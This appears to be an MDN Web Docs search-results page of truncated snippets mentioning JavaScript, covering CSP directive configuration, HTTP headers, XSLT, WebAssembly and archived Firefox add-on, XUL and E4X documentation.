... examples meta tag configuration <meta http-equiv="content-security-policy" content="form-action 'none'"> apache configuration <ifmodule mod_headers.c> header set content-security-policy "form-action 'none'; </ifmodule> nginx configuration add_header content-security-policy "form-action 'none';" violation case using a <form> element with an action set to inline javascript will result in a csp violation.
... <meta http-equiv="content-security-policy" content="form-action 'none'"> <form action="javascript:alert('foo')" id="form1" method="post"> <input type="text" name="fieldname" value="fieldvalue"> <input type="submit" id="submit" value="submit"> </form> // error: refused to send form data because it violates the following // content security policy directive: "form-action 'none'".
CSP: navigate-to - HTTP
if you only need to allow inline event handlers and not inline <script> elements or javascript: urls, this is a safer method than using the unsafe-inline expression.
... 'unsafe-inline' allows the use of inline resources, such as inline <script> elements, javascript: urls, inline event handlers, and inline <style> elements.
... examples meta tag configuration <meta http-equiv="content-security-policy" content="navigate-to 'none'"> violation case using a <form> element with an action set to inline javascript will result in a csp violation.
... <meta http-equiv="content-security-policy" content="navigate-to 'none'"> <form action="javascript:alert('foo')" id="form1" method="post"> <input type="text" name="fieldname" value="fieldvalue"> <input type="submit" id="submit" value="submit"> </form> specifications specification status comment content security policy level 3the definition of 'navigate-to' in that specification.
CSP: style-src - HTTP
if you only need to allow inline event handlers and not inline <script> elements or javascript: urls, this is a safer method than using the unsafe-inline expression.
... 'unsafe-inline' allows the use of inline resources, such as inline <script> elements, javascript: urls, inline event handlers, and inline <style> elements.
...heet" type="text/css" /> <style> #inline-style { background: red; } </style> <style> @import url("https://not-example.com/styles/print.css") print; </style> as well as styles loaded using the link header: link: <https://not-example.com/styles/stylesheet.css>;rel=stylesheet inline style attributes are also blocked: <div style="display:none">foo</div> as well as styles that are applied in javascript by setting the style attribute directly, or by setting csstext: document.queryselector('div').setattribute('style', 'display:none;'); document.queryselector('div').style.csstext = 'display:none;'; however, styles properties that are set directly on the element's style property will not be blocked, allowing users to safely manipulate styles via javascript: document.queryselector('div').style.di...
...splay = 'none'; these types of manipulations can be prevented by disallowing javascript via the script-src csp directive.
Index - HTTP
WebHTTPHeadersIndex
7 access-control-allow-credentials cors, http, reference, header the access-control-allow-credentials response header tells browsers whether to expose the response to frontend javascript code when the request's credentials mode (request.credentials) is "include".
... 47 csp: script-src csp, directive, http, reference, security the http content-security-policy (csp) script-src directive specifies valid sources for javascript.
... 117 x-dns-prefetch-control dns, http, header the x-dns-prefetch-control http response header controls dns prefetching, a feature by which browsers proactively perform domain name resolution on both links that the user may choose to follow as well as urls for items referenced by the document, including images, css, javascript, and so forth.
...although these protections are largely unnecessary in modern browsers when sites implement a strong content-security-policy that disables the use of inline javascript ('unsafe-inline'), they can still provide protections for users of older web browsers that don't yet support csp.
Web media technologies
accessible from javascript as htmlaudioelement objects.
...accessible from javascript as htmlvideoelement objects.
...accessible from javascript as htmltrackelement objects.
...accessible from javascript as htmlsourceelement objects.
Animation performance and frame rate - Web Performance
animation on the web can be done via svg, javascript, including <canvas> and webgl, css animation, <video>, animated gifs and even animated pngs and other image types.
...code based animations, be it css, svg, <canvas>, webgl or other javascript animations, can cause performance issues even if the bandwidth footprint is small.
... compared with animating elements using javascript, css animations can be easier to create.
...rather, the page is being repainted, repeatedly, based on javascript canvas api functions.
Graphic design for responsive sites - Progressive web apps (PWAs)
these may not be supported in older browsers like ie6-8, but they generally degrade gracefully, are fairly easy to write, and become much more flexible and powerful when combined with javascript and other technologies.
... javascript javascript has functions that enable developers to create animations, and any other type of interactivity you want.
... svg svg, just like html/css, can be manipulated via javascript.
...standard javascript can then be used to animate the image output, etc.
Using custom elements - Web Components
to begin with, the javascript file defines a class called popupinfo, which extends the generic htmlelement class.
...over in our html, we use it like so: <popup-info img="img/alt.png" data-text="your card validation code (cvc) is an extra security feature — it is the last 3 or 4 numbers on the back of your card."></popup-info> note: you can see the full javascript source code here.
... note: again, you can see the full javascript source code here.
... note: find the full javascript source here.
XPath
documentation introduction to using xpath in javascript describes a non-xslt use of xpath.
... xpath snippets these are javascript utility functions, that can be used in your own code, based on dom level 3 xpath apis.
... jxon jxon (lossless javascript xml object notation) is a generic name by which is defined the representation of javascript objects using xml.
... there are some cases in which the whole content of an xml document must be read from the javascript interpreter (like for web-apps languages or settings xml documents, for example).
Introduction - XSLT: Extensible Stylesheet Language Transformations
introduction with modern browsers supporting xslt, developers can now use javascript to access the power that xslt provides.
... javascript can enable a web application to load xml data, process it via xslt into a presentable form and then add it into an existing document.
... as of mozilla 1.2, gecko enables javascript to create xslt processors.
... this article covers xslt/javascript bindings in gecko.
Setting Parameters - XSLT: Extensible Stylesheet Language Transformations
setting parameters while running transformations using precoded .xsl and .xml files is quite useful, configuring the .xsl file from javascript may be even more useful.
... for example, javascript and xslt could be used to sort xml data and then display it.
...xsltprocessor provides three javascript methods to interact with these parameters: xsltprocessor.setparameter(), xsltprocessor.getparameter() and xsltprocessor.removeparameter().
... figure 7 : parameters /* xslt: <xsl:param name="myorder" /> */ // javascript: var sortval = xsltprocessor.getparameter(null, "myorder"); if (sortval == "" || sortval == "descending") xsltprocessor.setparameter(null, "myorder", "ascending"); else xsltprocessor.setparameter(null, "myorder", "descending"); ...
Loading and running WebAssembly code - WebAssembly
to use webassembly in javascript, you first need to pull your module into memory before compilation/instantiation.
...this is analogous to new function(string), except that we are substituting a string of characters (javascript source code) with an array buffer of bytes (webassembly source code).
... running your webassembly code once you've got your webassembly instance available in your javascript, you can then start using features of it that have been exported via the webassembly.instance.exports property.
...nstance.exports.exported_func(); // or access the buffer contents of an exported memory: var i32 = new uint32array(obj.instance.exports.memory.buffer); // or access the elements of an exported table: var table = obj.instance.exports.table; console.log(table.get(0)()); }) note: for more information on how exporting from a webassembly module works, have a read of using the webassembly javascript api, and understanding webassembly text format.
Interacting with page scripts - Archive of obsolete content
by default, content scripts loaded by add-ons and scripts loaded by web pages are insulated from each other: content scripts can't interact directly with page scripts or access javascript objects they create page scripts can't interact directly with content scripts or access objects they create.
...with unsafewindow you can see javascript objects that have been defined by page scripts, and if a page script has modified the behavior of native dom functions, you'll get the modified version of them as well.
...ata.url("page.html") var pagemod = mod.pagemod({ include: pageurl, contentscriptfile: self.data.url("content-script.js"), contentscriptwhen: "ready" }) tabs.open(pageurl); the target web page "page.html" includes a button and a page script: <html> <head> <meta charset="utf-8"> </head> <body> <input id="message" type="button" value="send a message"/> <script type="text/javascript" src="page-script.js"></script> </body> </html> the content script "content-script.js" adds an event listener to the button, that sends a custom event containing a message: var messenger = document.getelementbyid("message"); messenger.addeventlistener("click", sendcustomevent, false); function sendcustomevent() { var greeting = {"greeting" : "hello world"}; var event = new customevent("a...
Content Scripts - Archive of obsolete content
this enables you to load a javascript library like jquery by url, then pass in a simple script inline that can use jquery: // main.js var data = require("sdk/self").data; var pagemod = require("sdk/page-mod"); var contentscriptstring = '$("body").html("<h1>page matches ruleset</h1>");'; pagemod.pagemod({ include: "*.mozilla.org", contentscript: contentscriptstring, contentscriptfile: data.url("jquery.js") }); unless your ...
...but content scripts are insulated from page scripts: content scripts don't see any javascript objects added to the page by page scripts if a page script has redefined the behavior of some dom object, the content script sees the original behavior.
... the same applies in reverse: page scripts can't see javascript objects added by content scripts.
Modules - Archive of obsolete content
unfortunately, javascript does not yet have native support for modules: it has to rely on the host application to provide it with functionality such as loading subscripts, and exporting/ importing names.
... loading subscripts when a javascript project reaches a certain size, it becomes necessary to split it up into multiple files.
... unfortunately, javascript does not provide any means to load scripts from other locations: we have to rely on the host application to provide us with this functionality.
Private Properties - Archive of obsolete content
unlike other languages, javascript does not have native support for private properties.
...weakmaps were introduced to javascript in ecmascript 2015 and have recently been implemented in spidermonkey.
... namespaces in the add-on sdk the add-on sdk is built on top of xpcom, the interface between javascript and c++ code.
Module structure of the SDK - Archive of obsolete content
a commonjs module is a piece of reusable javascript: it exports certain objects which are thus made available to dependent code.
... except for scripts that interact directly with web content, all the javascript code you'll write or use when developing add-ons using the sdk is part of a commonjs module, including: sdk modules: the javascript modules which the sdk provides, such as panel and page-mod.
... local modules: each of the javascript files under your add-on's "lib" directory.
Two Types of Scripts - Archive of obsolete content
on the web, javascript executes in the context of a web page, and has access to that page's dom content.
... so there are two distinct sorts of javascript scripts you might include in your add-on and they have access to different sets of apis.
... api add-on code content script the global objects defined in the core javascript language, such as math, array, and json.
Guides - Archive of obsolete content
classes and inheritance learn how classes and inheritance can be implemented in javascript, using constructors and prototypes, and about the helper functions provided by the sdk to simplify this.
... private properties learn how private properties can be implemented in javascript using prefixes, closures, and weakmaps, and how the sdk supports private properties by using namespaces (which are a generalization of weakmaps).
... sdk infrastructure module structure of the sdk the sdk, and add-ons built using it, are of composed from reusable javascript modules.
ui - Archive of obsolete content
from firefox 30 onwards, you can attach panels to toggle buttons, by passing the button into the panel's constructor or its show() method: frame a frame enables you to create an html iframe, using bundled html, css and javascript.
...this document can refer to bundled css and javascript files, and your main add-on can communicate with a frame script using message passing.
...this document can refer to bundled css and javascript files, and your main add-on can communicate with a frame script using message passing.
ui/frame - Archive of obsolete content
experimental create html iframes, using bundled html, css and javascript, that can be added to a designated area of the firefox user interface.
... for example, this html document defines a <select> element and a couple of <span> elements, and includes a css file to style the content and a javascript script to implement behavior: <!doctype html> <html> <head> <link href="city-info.css" rel="stylesheet"></link> </head> <body> <select name="city" id="city-selector"></select> <span id="time" class="info-element"></span> <span id="weather" class="info-element"></span> <script type="text/javascript" src="city-info.js"></script> </body> </html> if we save this docum...
...this toolbar might look something like: scripting frames to add scripts to frames, include them directly from the frame's html content, as with a normal web page: <script type="text/javascript" src="frame.js"></script> as usual, the path to the script is relative to the html file's location.
JS XPCOM - Archive of obsolete content
here are a few useful snippets of code for dealing with xpcom components in javascript.
... accessing xpcom components from javascript xpcom objects are either created as new instances (each creation gives you a completely new com object) or as services (each access gives you the same com object, often called a singleton).
...sometimes javascript is clever enough to know all the interfaces available on a component, but in most cases you will have to explicitly check for an interface.
Rosetta - Archive of obsolete content
ocompiled = document.createelement("script"); oscript.parentnode.insertbefore(obaton, oscript); oscript.parentnode.removechild(oscript); for (var aattrs = oscript.attributes, nattr = 0; nattr < aattrs.length; nattr++) { ocompiled.setattribute(aattrs[nattr].name, aattrs[nattr].value); } ocompiled.type = "text\/ecmascript"; if (oxhr200) { ocompiled.src = "data:text\/javascript," + encodeuricomponent(odicts[smimetype](oxhr200.responsetext)); } ocompiled.text = oxhr200 ?
...getsource(oscript) : createscript(oscript); } } function parsedocument () { for ( var ascripts = document.getelementsbytagname("script"), nidx = 0; nidx < ascripts.length; parsescript(ascripts[nidx++]) ); } var odicts = {}, rignoremimes = /^\s*(?:text\/javascript|text\/ecmascript)\s*$/; this.translatescript = parsescript; this.translateall = parsedocument; this.appendcompiler = function (vmimetypes, fcompiler) { if (arguments.length < 2) { throw new typeerror("rosetta.appendcompiler() \u2013 not enough arguments"); } if (typeof fcompiler !== "function") { throw new typeerror("rosetta.appendcompiler() \u2013 second argume...
... now, all you need is to include rosetta.js and your compiler within your html page and you will be able to execute scripts written in c together with scripts written in ecmascript: example.html: html example <!doctype html> <html> <head> <meta http-equiv="content-type" content="text/html; charset=utf-8" /> <title>rosetta c example</title> <script type="text/javascript" src="rosetta.js"></script> <script type="text/javascript" src="rosetta_c.js"></script> <script type="text/x-csrc"> #include <stdio.h> int main () { printf("hello world number 1!\n"); return 0; } </script> <script type="text/x-c" src="example.c"></script> </head> <body> <p>lorem ipsum</p> <script type="text/javascript"> rosetta.translateall(); </script> </body> </html> example.c: c exa...
Migrating raw components to add-ons - Archive of obsolete content
javascript c-types some add-on authors create binary components not because they want to interact with firefox at the c++ level, but strictly so that they can make use of third party dlls.
... if this is the only reason you are using a binary component instead of javascript, take a look at the new javascript c-types support introduced in firefox 3.6.
... it allows javascript code to load functions from dlls on windows, and should allow you to eliminate your dependence on binary components entirely.
Appendix E: DOM Building and Insertion (HTML & XUL) - Archive of obsolete content
p(this, document, window); } }, null ] ]; var capturednodes = {}; var toolbox = doc.getelementbyid("navigator-toolbox"); var palette = toolbox.palette; var domfragment = jsontodom(jsontemplatebtn, document, capturednodes); palette.appendchild(domfragment); alert("capturednodes contains any created nodes that have optionally been captured (for later convenient javascript access) by giving them a 'key' attribute; for example: " + capturednodes.mytestbutton123); another example this here is another example of using jsontodom but in the html scope, a complex form is created with ease.
... for webextensions the most simple way is sanitize the output about javascript inline declaration and other wrong content.
... let { cc, ci } = require("chrome"); /** * safely parse an html fragment, removing any executable * javascript, and return a document fragment.
Overlay extensions - Archive of obsolete content
this page contains links to documentation for the approach to developing extensions for gecko-based applications which uses: xul overlays to specify the interface apis available to privileged code, such as tabbrowser and javascript modules, to interact with the application and content.
...the privileged javascript apis described here can still be used in these newer types of add-ons.
... javascript code modules javascript modules available to extension developers.
Add-ons - Archive of obsolete content
you can use various standard web technologies: javascript, html, and css, to create the add-ons.
... the sdk includes javascript apis, which you can use to create add-ons and tools for creating, running, testing, and packaging add-ons.
...all of these documents currently assume, however, that you are developing your extension using xul and javascript only.
Creating reusable content with CSS and XBL - Archive of obsolete content
this wiki does not support javascript in pages, so it is not possible to show the demonstration here.
... it looks something like this, before and after you press the button: notes about this demonstration: the html document links the document stylesheet as usual, but it does not link any javascript code.
... the binding links its own stylesheet, and it supplies its own content and javascript code.
XUL user interfaces - Archive of obsolete content
more specialized features can be built from parts by using xul together with other technologies that you have seen in this tutorial: css style, javascript code, and xbl bindings.
...copy and paste the content from here, making sure that you scroll to get all of it: <?xml version="1.0"?> <?xml-stylesheet type="text/css" href="style7.css"?> <!doctype window> <window xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul" title="css getting started - xul demonstration" onload="init();"> <script type="application/javascript" src="script7.js"/> <label class="head-1" value="xul demonstration"/> <vbox> <groupbox class="demo-group"> <caption label="day of week calculator"/> <grid> <columns> <column/> <column/> </columns> <rows> <row> <label class="text-prompt" value="date:" accesskey="d" control="date-text"/> <textbox id="date-text"...
...this wiki does not support xul and javascript in pages, so it is not possible to show the demonstration here.
Case Sensitivity in class and id Names - Archive of obsolete content
in the authoring of both css and javascript/dom (otherwise known as dhtml) routines, it is a near-certainty that class and id names will be used to identify elements.
...the most common case is where the name uses different case in the document source than is found in the css or javascript.
...(for a detailed explanation of what html 4.01 says, see the following section, "why so case-sensitive?") the only way to avoid this particular problem is to make sure that your class and id names have consistent case throughout the entire document, and with respect to your css and javascript.
Enabling the behavior - updating the status periodically - Archive of obsolete content
to enable its functionality, we have to add a reference to our javascript code into navigator.xul, just as we put a reference to our css code into that file back in specifying the appearance.
... put the javascript code into a file called tinderstatus.js in the same directory as navigator.xul and reference it in navigator.xul where other javascript scripts are referenced: ...
... <!-- navigator --> <script type="application/javascript" src="chrome://navigator/content/browser.js"/> <script type="application/javascript" src="chrome://navigator/content/navigator.js"/> <script type="application/javascript" src="chrome://navigator/content/navigatordd.js"/> <script type="application/javascript" src="chrome://navigator/content/sessionhistoryui.js"/> <script type="application/javascript" src="chrome://navigator/content/tinderstatus.js"/> <!-- hook for stringbundle overlays --> ...
Dehydra Function Reference - Archive of obsolete content
msg is a string to output to customize the location info printed set this._loc before calling print() include(file [, namespace]) include a javascript file into a namespace.
...require supports optional named arguments via javascript object where each parameter is a property.
..."gnu c" or "gnu c++") arguments this.arguments is a javascript array containing command-line arguments passed to a script.
Introducing the Audio API extension - Archive of obsolete content
the following example extracts the data from an audio element: <!doctype html> <html> <head> <title>javascript metadata example</title> </head> <body> <audio id="audio-element" src="song.ogg" controls="true" style="width: 512px;"> </audio> <script> function loadedmetadata() { channels = audio.mozchannels; rate = audio.mozsamplerate; framebufferlength = audio.mozframebufferlength; } var audio ...
... we can extend the previous example to visualize the timestamp and the first two samples in a <div> element: <!doctype html> <html> <head> <title>javascript visualization example</title> </head> <body> <audio id="audio-element" src="revolve.ogg" controls="true" style="width: 512px;"> </audio> <pre id="raw">hello</pre> <script> function loadedmetadata() { channels = audio.mozchannels; rate = audio.mozsamplerate; framebufferlength = audio.mozframebuffe...
....]; var numbersampleswritten = audiooutput.mozwriteaudio(samples); // write samples using a typed array var samples = new float32array([0.242, 0.127, 0.0, -0.058, -0.242, ...]); var numbersampleswritten = audiooutput.mozwriteaudio(samples); in the following example, we create an audio pulse: <!doctype html> <html> <head> <title>generating audio in real time</title> <script type="text/javascript"> function playtone() { var output = new audio(); output.mozsetup(1, 44100); var samples = new float32array(22050); for (var i = 0; i < samples.length ; i++) { samples[i] = math.sin( i / 20 ); } output.mozwriteaudio(samples); } </script> </head> <body> <p>this demo plays a one second tone when you click the button below.<...
generateCRMFRequest() - Archive of obsolete content
after the "escrowauthoritycert" parameter, the method takes some javascript code that is invoked when the crmf request is ready.
... "crmf generation done code" this parameter is javascript to execute when the crmf generation is complete.
...the javascript passed in as the "crmf generation done code" parameter should look at the attribute request of the returned object to get the result of the crmf generation.
RDF Datasource How-To - Archive of obsolete content
the xpcom registration parts and the "as of this writing, it is not currently possible to implement javascript xpcom components" comment seem outdated didn't check the whole article.
... 1 as of this writing, it is not currently possible to implement javascript xpcom components; however, it may soon be possible to do so via xpconnect.
... update: javascript xpcom should now be possible.
File object - Archive of obsolete content
warning: this section describes the file component of the spidermonkey javascript interpreter.
... getting started in order to use the file object from your javascript programs, you must enable it by setting the make variable js_has_file_object during the compilation of your spidermonkey engine.
...le = new file("myfile.txt"); file.open("write,create", "text"); file.writeln("the quick brown fox jumped over the lazy dogs"); file.close(); example: reading from a file var data; var file = new file("myfile.txt"); file.open("read", "text"); data = file.readln(); file.close(); example: sending mail through a pipeline var mail = new file("|/usr/lib/sendmail foo@bar.com"); mail.writeln("i love javascript.\npipe support is especially good!"); mail.close(); ...
Tamarin - Archive of obsolete content
tamarin is a javascript engine written in c++.
...tamarin's jit-compiler, nanojit, is also used in tracemonkey ergo spidermonkey, which is mozilla’s javascript engine in firefox.
... log a bug against tamarin tamarin-devel mailing list #tamarin channel on irc.mozilla.org blogroll mason chang david mandelin related topics javascript spidermonkey actionmonkey tamarin on mozilla.org ...
Treehydra Manual - Archive of obsolete content
treehydra simply reflects the gcc internals structures into javascript.
...callbacks and gcc intermediate representations like dehydra, treehydra sends program representations to the user javascript via callbacks.
..._function(fn)) { // fn has a body print(fn); let cfg = function_decl_cfg(fn); } } gimple reference for a detailed description of gimple see gcc/tree.def and gcc/cp/operators.def see also treehydra.js, gcc_compat.js, gcc_util.js, and gcc_print.js in the treehydra libs directory, which have many ports of gcc macros and other functions for conveniently accessing gimple data in javascript.
XPJS Components Proposal - Archive of obsolete content
xpjs components is a (cheesy) name for a system to support xpcom components written in javascript.
... the xpjs component system will support implementing xpcom services, factories, and components in javascript.
...javascript is garbage collected and one can not force an object to be deleted or the compiled code to be unloaded [except by deleting the jsruntime; i.e.
Mozilla E4X - Archive of obsolete content
presentation view online download summary "ecmascript for xml" (ecma-357), a new standard for writing and processing xml directly in javascript (ecma-262, iso-16262).
... e4x marries xml and javascript syntax, and extends javascript to include namespaces, qualified names, and xml elements and lists.
... e4x also adds new javascript operators for filtering xml lists, and for enumerating xml children and descendants.
XTech 2005 Presentations - Archive of obsolete content
web 1.6: a rope of sand - opening keynote, mike shaver mozilla e4x - brendan eich "ecmascript for xml" (ecma-357), a new standard for writing and processing xml directly in javascript (ecma-262, iso-16262).
... e4x marries xml and javascript syntax, and extends javascript to include namespaces, qualified names, and xml elements and lists.
... e4x also adds new javascript operators for filtering xml lists, and for enumerating xml children and descendants.
A XUL Bestiary - Archive of obsolete content
when a scripting language like javascript accesses various parts of an html document, it does so by means of the dom.
...it's cross-platform, and standards-based, and yet in some way, the event handlers written once in javascript and living in the xul interface are getting very serious things done down in the application core.
...finally, xpconnect is the technology that connects these xpcom/xpidl interfaces to javascript, the scripting language xul uses.
script.type - Archive of obsolete content
usually, you would set this to application/javascript.
... note: if the javascript file is in chrome://, setting this attribute to application/javascript will always use the latest available javascript version.
... if you omit this attribute, the default (and older) javascript version is used (like you get when including a javascript file from web content without specifying a version number).
Building accessible custom components in XUL - Archive of obsolete content
the individual cells, row headers, and column headers are not in the tab order, but we can still set focus to them programmatically using javascript whenever the user clicks a specific cell.
...t_click, true); } function spreadsheet_focus(e) { if (e.target.tagname == 'grid') { if (!gfocuscell) { gfocuscell = e.target.getelementsbytagname('label')[0]; } gfocuscell.focus(); } else { gfocuscell = e.target; } } function spreadsheet_click(e) { e.target.focus(); } </code> finally, we'll add two lines to our .xul file to link in the javascript file (accjax.js) and call the install_handlers function when the spreadsheet is loaded.
...dow id="accjax" title="accjax spreadsheet" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul" xmlns:x2="http://www.w3.org/tr/xhtml2" xmlns:wairole="http://www.w3.org/2005/01/wai-rdf/guiroletaxonomy#" xmlns:waistate="http://www.w3.org/2005/01/wai-rdf/guistatetaxonomy#" onload="install_handlers()" > <script src="accjax.js"/> </code> by adding this javascript code and these css rules, we can tab to the spreadsheet see which cell, row header, or column header has focus click on other cells or headers to change focus within the spreadsheet tab off the spreadsheet by pressing tab once tab back to the spreadsheet and automatically set focus to the previously focused cell or header inspect32 confirms that all of this really works; it's not just visual sm...
How to implement a custom XUL query processor component - Archive of obsolete content
in this example, we will create a simple javascript xpcom component.
... the component will hold a small array of javascript objects as its datasource.
... here is our sample javascript xpcom query processor: components.utils.import("resource://gre/modules/xpcomutils.jsm"); // basic wrapper for nsixultemplateresult function templateresult(adata) { this._data = adata; // just make a random number for the id this._id = math.random(100000).tostring(); } templateresult.prototype = { queryinterface: xpcomutils.generateqi([components.interfaces.nsixultemplateresult]), /...
Creating a Window - Archive of obsolete content
the correct way, of course, is to open the window using javascript.
...the syntax is described below: window.open(url,windowname,flags); where the flags contains the flag "chrome" as in this example window.open("chrome://navigator/content/navigator.xul", "bmarks", "chrome,width=600,height=300"); if you are using firefox, try below: window.open("chrome://browser/content/places/places.xul", "bmarks", "chrome,width=600,height=300"); you can test lines of javascript like these in the error console.
... choose tools – error console, type a line of javascript, and press the evaluate button, or the return or enter key.
XUL Structure - Archive of obsolete content
the extensions are small packages of xul files, javascript, style sheets and images packed together into a single file.
... it is worth noting that the mozilla browser itself is actually just a set of packages containing xul files, javascript and style sheets.
...the files with .js extensions are javascript files containing scripts that handle the functionality of a window.
XML - Archive of obsolete content
there are many times, for example, when you may use javascript tricks to add extra behavior.
...all of the events and attributes -- even the javascript event listeners normally formatted in the javascript world with uppercase verbs (e.g., onclick, onload) -- must be lowercase or they are invalid.
...as the figure below indicates, xul is an amalgam of these different standards: css for styling or "skinning", dom for the object model and scriptable access, javascript for the linking and behavior, rdf for resources, xml for the structure, and html for the content and some little extras.
script - Archive of obsolete content
usually, you would set this to application/javascript.
... note: if the javascript file is in chrome://, setting this attribute to application/javascript will always use the latest available javascript version.
... if you omit this attribute, the default (and older) javascript version is used (like you get when including a javascript file from web content without specifying a version number).
tree - Archive of obsolete content
ArchiveMozillaXULtree
in newer versions of mozilla, the builderview property is actually a synonym for the view property, since the two interfaces are flattened together into a single interface in javascript.
...in newer versions of mozilla, the contentview property is actually a synonym for the view property, since the two interfaces are flattened together into a single interface in javascript.
... #eeeeee; } treechildren::-moz-tree-row(odd, selected) { background-color: #ffffaa; } treechildren::-moz-tree-cell-text(selected) { color: #000000; } treechildren::-moz-tree-cell-text(odd, selected) { color: #000000; } treechildren::-moz-tree-row(hover) {background-color: #ffffaa !important;} treechildren:-moz-tree-column { border-right:1px solid rgb(220,220,220) !important; } the javascript to get the text for the selected row/rows: function getrowcellvalues() { var tree = document.getelementbyid('mytree'); for (var i = 0; i < tree.view.rowcount; i++) { if (tree.view.getcellvalue(i, tree.columns.getcolumnat(0)) == 'true'){ alert(tree.view.getcelltext(i, tree.columns.getnamedcolumn("name"))); } } } this way, you can get the tree cell values of the selected ch...
Building XULRunner with Python - Archive of obsolete content
using python in xul applications add the following to yourprefs.js during development pref("browser.dom.window.dump.enabled", true); pref("javascript.options.showinconsole", true); pref("javascript.options.strict", true); pref("nglayout.debug.disable_xul_cache", true); pref("nglayout.debug.disable_xul_fastload", true); html <script> tags specify that python is used withtype="application/x-python" attribute.
... unhandled exceptions are displayed in the javascript error console which can be opened usingxulrunner -jsconsole.
...the jsconsole can also be open and used from code, for example (in javascript) function openjavascriptconsole() { var wwatch = components.classes["@mozilla.org/embedcomp/window-watcher;1"] .getservice(components.interfaces.nsiwindowwatcher); wwatch.openwindow(null, "chrome://global/content/console.xul", "_blank", "chrome,dialog=no,all", null); } // dump to the js console (xulrunner -jsconsole) function jsdump(str) { components.classes['@mozilla.org/consoleservice;1'] .getservice(components.interfaces.nsiconsoleservice) .logstringmessage(str); } function jserror(str) { ...
Dialogs in XULRunner - Archive of obsolete content
dialog xul files can have dtd, css, and javascript, just like windows.
... the developer just declares the need for the button, the button's caption, and the access key for the button, as well as the javascript function to call if the button is pressed.
... ondialogaccept javascript to execute if the accept button is pressed; similar attributes exist for the other button types.
XULRunner Hall of Fame - Archive of obsolete content
slimerjs slimerjs is a xulrunner application that can be launched with firefox, allowing to execute an external javascript script which can manipulate web content.
... a fully-functioning webserver that runs server-side javascript.
... xuljet a framework that helps to create platform independent desktop applications directly in javascript ...
XULRunner tips - Archive of obsolete content
window url window type extension manager chrome://mozapps/content/extensions/extensions.xul?type=extensions extension:manager-extensions theme manager chrome://mozapps/content/extensions/extensions.xul?type=themes extension:manager-themes javascript console chrome://global/content/console.xul global:console about:config chrome://global/content/config.xul developer extensions venkman need a custom build or a compatible extension need to edit compatibility in needs a method to start venkman (usually by overlaying the main xul file, similar to existing code for firefox, suite, etc.) the function toopenwindo...
...tions above through "unzip the package." create a file in the extensions directory of your application with the same name as the dom inspector id (inspector@mozilla.org) containing one line of text -- the exact path to the root directory of dom inspector (where the install.rdf is) like this one: /home/username/.mozilla/firefox/numbersandletters/extensions/inspector@mozilla.org/ now create a javascript file with the following code and include it in the main window of your application: function startdomi() { // load the window datasource so that browser windows opened subsequent to dom // inspector show up in the dom inspector's window list.
... extension developer's extension extension developer's extension is a useful tool, featuring live xul editor and javascript shell.
nsIContentPolicy - Archive of obsolete content
type_script 2 indicates an executable script (such as javascript).
... [javascript implementations only] access properties of any sort on any object without using xpcnativewrapper (either explicitly or implicitly).
... char* previous = nsnull; nscomptr<nsicategorymanager> catman; servman->getservicebycontractid(ns_categorymanager_contractid, ns_get_iid(nsicategorymanager), getter_addrefs(catman)); rv = catman->addcategoryentry("content-policy", component_classname, component_contractid, pr_true, pr_true, &previous); javascript developers can also implement an xpcom component that extends nsicontentpolicy.
2006-12-08 - Archive of obsolete content
discussions xpcom cpp to js callback engaging discussion on a problem with trying to call back from c++ to a javascript object using an interface the developer created with an idl.
... however, the c++ call that's supposed to be invoking the method on the javascript object is returning with 0x80004005 (ns_error_failure).
... saving binary data from nsixmlhttprequest a discussion on how to use nsixmlhttprequest object to query data from a url in an extension implemented in javascript meetings none during this week.
Building a Theme - Archive of obsolete content
styling the browser's ui with css firefox's user interface is written in xul and javascript.
...user actions are bound to functionality using javascript.
...there are three types: content (xul, javascript, xbl bindings, etc.
Settings - Archive of obsolete content
pause on exceptions when this option is enabled, execution of the script will automatically pause whenever a javascript exception is thrown.
... show only enumerable properties do not display non-enumerable javascript properties.
... show original sources enabling this option will make the debugger use source maps, if they are available, to display the original source for code which has been combined, minified, or even compiled to javascript from a language like coffeescript.
E4X for templating - Archive of obsolete content
while it may be obvious after a study of the basics of e4x that it can be used for this purpose, if one adds a few common purpose functions (especially along with the convenience of javascript 1.8 expression closures), the templates can function more dynamically, offering the power and readability of templating languages such as smarty for php (though admittedly without the currently wider cross-browser support of xslt or the strictly-xml approach of phptal or seethrough templating).
... security and escaping function e (str) { if (typeof str === 'xml') {str = str.tostring();} return str; } function quot (s) { // useful for placing user input within inline javascript; may be combined with escape function above as well if (typeof s === 'string') { return s.replace(/"/g, '&quot;').replace(/'/g, '&apos;'); } if (typeof s === 'xml') { return s.tostring().replace(/"/g, '&quot;').replace(/'/g, '&apos;'); } return string(s).replace(/"/g, '&quot;').replace(/'/g, '&apos;'); } localization e4x works nicely with a simple utility for localizing strings of a properties file: // localization function $s(msg, args){ //get localized message var strs = cc['@mozilla.org/intl/stringbundle;1'].getservice(ci.nsistringbundleservice).
... ret += item; } else if (typeof item === 'string') { ret += new xml(item); } else { var ser = (new xmlserializer()).serializetostring(item); ret += new xml(ser); } }); return ret; } example: var fruits = <fruits> <item>pear</item> <item>banana</item> <item>grapes</item> </fruits>; alert( // using a javascript 1.8 expression closure <output> {sort(fruits.*, function (a, b) a.text() > b.text() /* text() call may not be necessary */ )} </output>.toxmlstring() ); /* <output> <item>banana</item> <item>grapes</item> <item>pear</item> </output> */ the above utility also works if the input is an htmlcollection, an array of strings, an array of dom objects, or an array of e4x objects (assuming the...
E4X - Archive of obsolete content
ArchiveWebE4X
ecmascript for xml (e4x) is a programming language extension that adds native xml support to javascript.
... e4x is implemented (at least partially) in spidermonkey (gecko's javascript engine) and in rhino (javascript engine written in java).
...to fully enable e4x, the <script> element needs to have the mime type "text/javascript;e4x=1" (i.e., have an attribute of the form type="text/javascript;e4x=1").
VBArray.dimensions - Archive of obsolete content
the second part is javascript code that determines the number of dimensions in the safe array and the upper bound of each dimension.
...the third part is the javascript code that goes in the <body> section to run the other two parts.
